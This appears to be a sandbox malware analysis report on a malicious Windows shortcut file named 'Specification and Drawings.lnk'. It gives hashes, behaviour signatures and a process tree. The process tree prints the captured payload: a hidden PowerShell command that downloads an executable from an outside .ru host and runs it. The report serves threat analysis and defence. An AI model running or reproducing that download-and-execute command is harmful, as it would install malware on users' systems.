Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    118s
  • max time network
    119s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    01/10/2024, 19:18

General

  • Target

    Specification and Drawings.lnk

  • Size

    2KB

  • MD5

    82937aae96fa6a40b59703eea97ce1ef

  • SHA1

    d23b17711e2e65609c9973d6f03dde3d2acb3568

  • SHA256

    d820d9f270915fc81bedefd16bf7b8a20cb88a4d1e55d8566b9367fa494ac356

  • SHA512

    f3d66ad7d89da4bd494f173506ced0fe46404a786876e4664658e0db4b8075a18e0579f4bb5319aba9dee9338b1f64782a2b3f1f4d7640187b4dfbc0d3240bc8

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\ Specification and Drawings.lnk"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2408
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -command "& { Invoke-WebRequest -Uri https://oootorgline.ru/components/grace.exe -OutFile C:\Users\Admin\AppData\Local\Temp\file.exe; Start-Process 'C:\Users\Admin\AppData\Local\Temp\file.exe' }"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2596

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/2596-38-0x000007FEF60AE000-0x000007FEF60AF000-memory.dmp

    Filesize

    4KB

  • memory/2596-41-0x000007FEF5DF0000-0x000007FEF678D000-memory.dmp

    Filesize

    9.6MB

  • memory/2596-40-0x0000000001E70000-0x0000000001E78000-memory.dmp

    Filesize

    32KB

  • memory/2596-39-0x000000001B6F0000-0x000000001B9D2000-memory.dmp

    Filesize

    2.9MB

  • memory/2596-43-0x000007FEF5DF0000-0x000007FEF678D000-memory.dmp

    Filesize

    9.6MB

  • memory/2596-44-0x000007FEF5DF0000-0x000007FEF678D000-memory.dmp

    Filesize

    9.6MB

  • memory/2596-42-0x000007FEF5DF0000-0x000007FEF678D000-memory.dmp

    Filesize

    9.6MB

  • memory/2596-45-0x000007FEF5DF0000-0x000007FEF678D000-memory.dmp

    Filesize

    9.6MB

  • memory/2596-46-0x000007FEF5DF0000-0x000007FEF678D000-memory.dmp

    Filesize

    9.6MB